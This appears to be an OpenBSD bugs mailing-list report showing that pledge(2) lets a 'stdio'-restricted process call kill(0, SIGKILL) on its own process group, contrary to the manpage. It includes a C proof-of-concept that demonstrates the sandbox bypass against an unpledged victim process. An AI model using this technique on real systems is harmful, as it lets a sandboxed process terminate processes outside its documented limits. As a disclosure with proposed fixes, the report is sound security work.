pledge(2): kill(0, sig) is permitted under any promise via pid==0 exception, but the manpage lists kill(2) only under "proc"
Stuart Thomas <[email protected]> Wed, 13 May 2026 13:29:59 +0100
| Newsgroups | gmane.os.openbsd.bugs |
|---|---|
| Message-ID | <CACS-ydMSP-M=ffySeyRCSwdcD3dTvkjGOHr8YjRDqb0HoiZoCA@mail.gmail.com> |
Hi,
I noticed an inconsistency between pledge_kill() in sys/kern/kern_pledge.c
and the documented per-category syscall list in pledge(2). Submitting as
an inquiry into whether the code or the manpage should be the source of
truth -- both options have a straightforward fix.
Observation
-----------
sys/kern/kern_pledge.c (current master):
int
pledge_kill(struct proc *p, pid_t pid)
{
if ((p->p_p->ps_flags & PS_PLEDGE) == 0)
return 0;
if (p->p_pledge & PLEDGE_PROC)
return 0;
if (pid == 0 || pid == p->p_p->ps_pid)
return 0;
return pledge_fail(p, EPERM, PLEDGE_PROC);
}
The `pid == 0 || pid == p->p_p->ps_pid` branch returns 0 regardless of
which promise the process holds. So kill(2) with pid=0 (BSD pgrp-wide
kill) or pid=self is permitted under every pledge category, not just
"proc".
pledge(2) manpage (verbatim from the running OpenBSD 7.7 system):
stdio ... [70+ syscalls listed, no kill(2)]
proc Allows the following process relationship operations:
fork(2), vfork(2), kill(2), getpriority(2), setpriority(2),
setrlimit(2), setpgid(2), setsid(2)
kill(2) is listed only under "proc". The manpage's introduction to stdio
calls it "actions ... that only occur inside the process". The pid==0
exception that lets a stdio-pledged process signal its process group
(parent shell, sibling pipeline processes) does not appear anywhere in
the manpage.
PoC (OpenBSD 7.7 arm64, run as a uid=0 user with setpgid isolation so
the invoking shell is not in the test pgrp):
[parent] pid=99933 pgid=64730 testing pledge("stdio")
[parent] [+] BYPASS CONFIRMED: pledge("stdio")-restricted attacker
SIGKILL'd an unpledged victim in its pgrp.
Full source in POC_kill_pledged_v3.c (attached). The attacker process
calls pledge("stdio", NULL), then kill(0, SIGKILL), and the unpledged
victim process in the attacker's pgrp is terminated by SIGKILL.
Where this matters
------------------
A stdio-pledged process is, per the documented contract, supposed to
only act on already-open file descriptors and process-internal state.
If such a process compromises (parser bug, etc.), the worst observable
side effect should be its own death. With the pid==0 exception, it can
SIGKILL its parent shell or sibling pipeline stages -- documented
behaviour for "proc"-pledged processes, but not for "stdio".
This is not a privilege escalation. It is a sandbox-degradation /
documentation-implementation mismatch.
Two ways to make behaviour and documentation consistent
-------------------------------------------------------
Either documenting the exception or tightening the check would close
the gap.
A. Documentation patch -- add to the "stdio" section of pledge(2):
kill(2) is permitted if pid is 0 or the calling process's PID
(for raise(3) and pgrp-wide self-signalling in shell pipelines).
B. Code patch -- remove the pid==0 universal exception from
pledge_kill(), requiring PLEDGE_PROC for kill(0,...). raise(3) and
abort(3) (pid==self) still work; pgrp-wide kill becomes proc-only.
I have not audited the ports tree to identify programs that rely on
the current behaviour. The pid==self arm is clearly load-bearing
(raise/abort under stdio); the pid==0 arm may be load-bearing for
shell-pipeline patterns and is the discretionary call.
This sits in similar territory to my prior commit to kern_unveil.c
(UNVEIL-01 / #if 0 dead-code path, ok beck@), though narrower: that
was dead code being re-enabled; this is live code diverging from the
documented contract.
Thanks,
Stuart Thomas
--
Kind regards,
Stuart
*please note, there is no expectation for you to read/reply to my email
outside your normal working hours. *
*This email is private and confidential and only intended for the
recipients above. Should you have received this email in error, please
notify me, and then securely delete it.*
POC_kill_pledged_v3.c
(application/octet-stream, 4.6 KB)
/*
* POC_kill_pledged_v3.c — clean self-isolating reproducer.
*
* Demonstrates: pledge(2) manpage lists kill(2) only under "proc", but the
* kernel allows kill(0, sig) (pgrp-wide) under ANY pledge category via
* pledge_kill()'s pid==0 exception. Killing reaches processes outside the
* pledged process — contradicting the "stdio: only inside the process"
* documented contract.
*
* Architecture (per Gemini's Council guidance):
* parent
* fork() -> isolation_parent
* setpgid(0, 0) ; new pgrp, isolated from invoking shell
* fork() -> victim
* pause() ; unpledged, sleeps until signalled
* fork() -> attacker
* pledge("stdio", NULL)
* kill(0, SIGKILL) ; pgrp-wide kill from a STDIO-pledged proc
* waitpid(victim) ; check whether victim died from SIGKILL
* parent
* waitpid(isolation_parent), report outcome
*
* The invoking shell is NOT in the isolated pgrp, so SSH/terminal survives.
*
* Build (on OpenBSD target): cc -o poc_kill_v3 POC_kill_pledged_v3.c
* Run: ./poc_kill_v3
*
* Optional first argument selects pledge category to test
* (default stdio): ./poc_kill_v3 rpath
* ./poc_kill_v3 inet
* ./poc_kill_v3 stdio
*
* Exit code: 0 = bypass confirmed (victim killed by signal under pledge),
* 1 = victim survived (no bypass),
* >=2 = setup error.
*/
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *
sig_name(int s)
{
switch (s) {
case SIGKILL: return "SIGKILL";
case SIGTERM: return "SIGTERM";
case SIGUSR1: return "SIGUSR1";
default: return "SIG?";
}
}
int
main(int argc, char **argv)
{
const char *promises = (argc > 1) ? argv[1] : "stdio";
printf("[parent] pid=%d pgid=%d testing pledge(\"%s\")\n",
getpid(), getpgrp(), promises);
pid_t iso = fork();
if (iso < 0) { perror("fork iso"); return 2; }
if (iso == 0) {
/* ---- isolation_parent (NOT in the test pgrp) ---- */
printf("[iso] pid=%d pgid=%d (observer, stays in invoker pgrp)\n",
getpid(), getpgrp());
pid_t victim = fork();
if (victim < 0) { perror("fork victim"); _exit(2); }
if (victim == 0) {
/* ---- victim (no pledge) ---- new pgrp = our own pid ---- */
if (setpgid(0, 0) < 0) { perror("victim setpgid"); _exit(2); }
pause(); /* will be killed by attacker's signal */
_exit(99); /* never reached on successful kill */
}
/* Wait until victim has had time to call setpgid + pause */
usleep(200000);
pid_t attacker = fork();
if (attacker < 0) { perror("fork atk"); _exit(2); }
if (attacker == 0) {
/* ---- attacker (pledged) — join VICTIM's pgrp ---- */
if (setpgid(0, victim) < 0) {
perror("attacker setpgid");
_exit(2);
}
if (pledge(promises, NULL) < 0) {
fprintf(stderr,
"[atk] pledge(\"%s\") failed: %s\n",
promises, strerror(errno));
_exit(3);
}
/* try SIGKILL — should be blocked if pledge category
* doesn't include proc, but the kill(0) exception lets it through */
if (kill(0, SIGKILL) < 0) {
fprintf(stderr,
"[atk] kill(0,SIGKILL) blocked: %s\n",
strerror(errno));
_exit(1); /* signal was blocked — pledge worked */
}
/* kill returned success — our own SIGKILL ends this proc */
_exit(0);
}
/* iso is NOT in the test pgrp (victim's), so it survives.
* Wait for victim and attacker to be reaped. */
int vstat = 0, astat = 0;
waitpid(victim, &vstat, 0);
waitpid(attacker, &astat, 0);
printf("[iso] victim: exited=%d signal=%d (%s)\n",
WIFEXITED(vstat) ? WEXITSTATUS(vstat) : -1,
WIFSIGNALED(vstat) ? WTERMSIG(vstat) : 0,
WIFSIGNALED(vstat) ? sig_name(WTERMSIG(vstat)) : "—");
printf("[iso] attacker: exited=%d signal=%d (%s)\n",
WIFEXITED(astat) ? WEXITSTATUS(astat) : -1,
WIFSIGNALED(astat) ? WTERMSIG(astat) : 0,
WIFSIGNALED(astat) ? sig_name(WTERMSIG(astat)) : "—");
int bypass = WIFSIGNALED(vstat) && WTERMSIG(vstat) == SIGKILL;
_exit(bypass ? 0 : 1);
}
/* ---- parent ---- */
int rs = 0;
waitpid(iso, &rs, 0);
int code = WIFEXITED(rs) ? WEXITSTATUS(rs) : -1;
if (code == 0) {
printf("[parent] [+] BYPASS CONFIRMED: pledge(\"%s\")-restricted attacker"
" SIGKILL'd an unpledged victim in its pgrp.\n", promises);
} else if (code == 1) {
printf("[parent] [-] pledge worked: signal was blocked.\n");
} else {
printf("[parent] [?] setup error (code=%d)\n", code);
}
return code;
}